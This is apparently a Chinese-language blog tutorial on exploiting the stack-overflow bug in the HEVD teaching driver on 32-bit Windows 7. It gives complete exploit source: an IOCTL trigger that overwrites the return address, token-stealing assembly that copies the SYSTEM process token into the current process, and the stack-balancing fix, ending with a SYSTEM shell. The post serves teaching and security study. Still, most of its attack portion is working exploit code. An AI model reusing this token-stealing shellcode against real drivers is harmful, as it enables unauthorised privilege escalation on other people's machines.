windows内核提权(一)之栈溢出
前言
这个学期在做一个安全软件项目,涉及到windows的驱动开发,也因此项目为我敲开了windows内核的大门。这里面的东西奥妙无穷,亟待探索。
环境
-
HackSystem的作者专门为教学windows内核安全而写了一个漏洞驱动HEVD,里面包含了基本的堆栈溢出漏洞,并附带了EXP。我下载的是最新版的HEVD3.0。
-
windows7 32位
分析
首先使用IDA静态分析一下,找到DriverEntry
主要关注的是IrpDeviceIoCtHandler这个函数,因为他是属于IRP_MJ_DEVICE_CONTROL(14) 的。
-
可以看出这个驱动包含了很多不同类型的漏洞,而今天我的这篇文章主要分析的是第一种栈溢出漏洞,它对应的IOCTL 是 0x222003,对应的漏洞函数是 BufferOverflowStackIoctlHandler(Irp, v4),进去瞧瞧
-
获取用户缓冲区和其大小。漏洞在memcpy中的Size没有限制,可能会超过KernelBuffer 的大小。ProbeForRead(UserBuffer, 0x800u, 1u) 检查给定的指针指向的0x800大小的内存是否驻留在用户态空间中,并且按1字节对齐。这个检查对我们的利用并没有影响。
-
再看作者给出的EXP,这种栈溢出的利用与一般栈溢出相似甚至更为简单,最终都是通过覆盖返回地址去执行shellocde;即使windows7 有DEP保护,不能直接执行栈中的shellcode,但是通过调用VirtualProtect将一块内存变为可执行就可以绕过DEP了。
如何提权
继续分析作者给出的EXP,首先是保存现场,然后
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
- 这实际上是调用了PsGetCurrentProcess
- 此时eax里面就得到了 _EPROCESS 这个结构,这个结构中的某些成员是我们感兴趣的。
- 偏移为0xb4是进程ID,偏移0xb8是活动进程链表,通过遍历这个链表就能够获取到系统所有的活动进程的 _EPROCESS 结构。
- 最为关键的还属于0xf8偏移处的Token。提权的原理就是将要提权的进程的Token替换成system进程的Token。在Win7 32位下,system进程的PID是4。
- 所以我们可以初步写一下这个利用
#include"mydefs.h"
using namespace std;
#define PADDING 2080
HANDLE hDev = INVALID_HANDLE_VALUE;
BOOL GetDevHandle() {
//打开驱动符号链接
hDev=CreateFileA(
SymLinkName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL
);
return hDev != INVALID_HANDLE_VALUE;
}
VOID AttackKernelStack()//攻击内核栈
{
__asm {
pushad; 保存堆栈状态
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
mov ebx, eax; ebx保存的是当前进程的_EPROCESS
mov ecx, SYSTEM_PID
;开始搜索system进程的_EPROCESS
SearchSystemPID:
mov eax, [eax + PROCESS_LINK_OFFSET]
sub eax, PROCESS_LINK_OFFSET
cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
jne SearchSystemPID
; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
popad; 恢复堆栈状态
}
}
INT main() {
PVOID pUsrBuf = NULL;
PVOID pExp = &AttackKernelStack;
ULONG uBufSzie = 2084;
ULONG uRetSize;
UCHAR buf[2084] = { 0 };
if (GetDevHandle()) {
pUsrBuf = buf;
RtlFillMemory(pUsrBuf, PADDING, 0x61);//填充垃圾数据
*(PULONG)((ULONG)pUsrBuf + PADDING) = (ULONG)pExp;//末尾4字节填充为EXP函数地址(小端序)
DeviceIoControl(hDev, 0x222003, pUsrBuf, (DWORD)uBufSzie, NULL, 0, &uRetSize, NULL);
CloseHandle(hDev);
cout << "提权成功!" << endl;
system("cmd.exe");
}
system("pause");
return 0;
}
- 首先用Windbg在 TriggerBufferOverflowStack的头部下断,执行EXP,单步跟一下过程。
- 目前看来已经能够执行我们的 shellcode了,继续单步跟踪
- 但是执行完我们的 shellcode 之后返回到了一个错误地址,原因很明显是堆栈不平衡导致的。
- 看看没有覆盖到 返回地址的正常情况下,内核中的这个该函数是如何平栈的。
- 原来是通过 pop ebp,ret 8平栈,因此在我们的 shellcode 最后加上这两句。
- 再次运行还是崩溃了,接着再单步一次看看还有什么地方没有注意到的,结果发现在进入我们的 shellcode 之前
- 进行了三次 push操作,esp-12 而执行完我们的 shellcode之后并没有恢复 esp,因此还得在 pop ebp 之前恢复 esp。
VOID AttackKernelStack()//攻击内核栈
{
__asm {
pushad; 保存堆栈状态
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
mov ebx, eax; ebx保存的是当前进程的_EPROCESS
mov ecx, SYSTEM_PID
;开始搜索system进程的_EPROCESS
SearchSystemPID:
mov eax, [eax + PROCESS_LINK_OFFSET]
sub eax, PROCESS_LINK_OFFSET
cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
jne SearchSystemPID
; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
popad; 恢复堆栈状态
add esp,12
pop ebp
ret 8
}
}
结果
- 此时的权限已经是 system 了。
总结
shellcode的编写要注意堆栈平衡,具体要看漏洞所在的函数,从哪里开始执行,到哪里结束。执行之前有过什么操作改变 esp,执行之后有没有相反的操作恢复 esp以及原函数在返回前如何改变堆栈的。